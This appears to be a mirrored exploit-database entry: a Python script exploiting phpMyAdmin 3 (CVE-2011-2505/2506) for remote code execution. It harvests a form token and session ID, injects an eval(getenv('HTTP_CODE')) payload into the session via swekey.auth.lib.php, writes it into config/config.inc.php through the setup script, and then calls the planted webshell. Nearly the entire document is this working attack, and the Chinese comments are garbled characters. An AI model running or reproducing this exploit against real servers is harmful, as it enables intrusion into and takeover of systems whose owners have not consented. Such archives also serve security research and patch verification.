PageRenderTime 47ms CodeModel.GetById 12ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/php/webapps/17510.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 91 lines | 57 code | 17 blank | 17 comment | 11 complexity | 3aeaebc56f2894b3f8b2697ce0a664b8 MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/env python
  2. # coding=utf-8
  3. # pma3 - phpMyAdmin3 remote code execute exploit
  4. # Author: wofeiwo<wofeiwo@80sec.com>
  5. # Thx Superhei
  6. # Tested on: 3.1.1, 3.2.1, 3.4.3
  7. # CVE: CVE-2011-2505, CVE-2011-2506
  8. # Date: 2011-07-08
  9. # Have fun, DO *NOT* USE IT TO DO BAD THING.
  10. ################################################
  11. # Requirements: 1. "config" directory must created&writeable in pma directory.
  12. # 2. session.auto_start = 1 in php.ini configuration.
  13. import os,sys,urllib2,re
  14. def usage(program):
  15. print "PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote code
  16. execute exploit"
  17. print "Usage: %s <PMA_url>" % program
  18. print "Example: %s http://www.test.com/phpMyAdmin" % program
  19. sys.exit(0)
  20. def main(args):
  21. try:
  22. if len(args) < 2:
  23. usage(args[0])
  24. if args[1][-1] == "/":
  25. args[1] = args[1][:-1]
  26. # һȡtokensessionidsessionidphpMyAdminֵһµ
  27. print "[+] Trying get form token&session_id.."
  28. content = urllib2.urlopen(args[1]+"/index.php").read()
  29. r1 = re.findall("token=(\w{32})", content)
  30. r2 = re.findall("phpMyAdmin=(\w{32,40})", content)
  31. if not r1:
  32. r1 = re.findall("token\" value=\"(\w{32})\"", content)
  33. if not r2:
  34. r2 = re.findall("phpMyAdmin\" value=\"(\w{32,40})\"", content)
  35. if len(r1) < 1 or len(r2) < 1:
  36. print "[-] Cannot find form token and session id...exit."
  37. sys.exit(-1)
  38. token = r1[0]
  39. sessionid = r2[0]
  40. print "[+] Token: %s , SessionID: %s" % (token, sessionid)
  41. # ڶͨswekey.auth.lib.php$_SESSIONֵ
  42. print "[+] Trying to insert payload in $_SESSION.."
  43. uri = "/libraries/auth/swekey/swekey.auth.lib.php?session_to_unset=HelloThere&_SESSION[ConfigFile0][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA&_SESSION[ConfigFile][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA"
  44. url = args[1]+uri
  45. opener = urllib2.build_opener()
  46. opener.addheaders.append(('Cookie', 'phpMyAdmin=%s;
  47. pma_lang=en; pma_mcrypt_iv=ILXfl5RoJxQ%%3D; PHPSESSID=%s;' %
  48. (sessionid, sessionid)))
  49. urllib2.install_opener(opener)
  50. urllib2.urlopen(url)
  51. # setupȡshell
  52. print "[+] Trying get webshell.."
  53. postdata =
  54. "phpMyAdmin=%s&tab_hash=&token=%s&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save"
  55. % (sessionid, token)
  56. url = args[1]+"/setup/config.php"
  57. # print "[+]Postdata: %s" % postdata
  58. urllib2.urlopen(url, postdata)
  59. print "[+] All done, pray for your lucky!"
  60. # IJshell
  61. url = args[1]+"/config/config.inc.php"
  62. opener.addheaders.append(('Code', 'phpinfo();'))
  63. urllib2.install_opener(opener)
  64. print "[+] Trying connect shell: %s" % url
  65. result = re.findall("System \</td\>\<td
  66. class=\"v\"\>(.*)\</td\>\</tr\>", urllib2.urlopen(url).read())
  67. if len(result) == 1:
  68. print "[+] Lucky u! System info: %s" % result[0]
  69. print "[+] Shellcode is: eval(getenv('HTTP_CODE'));"
  70. else:
  71. print "[-] Cannot get webshell."
  72. except Exception, e:
  73. print e
  74. if __name__ == "__main__" : main(sys.argv)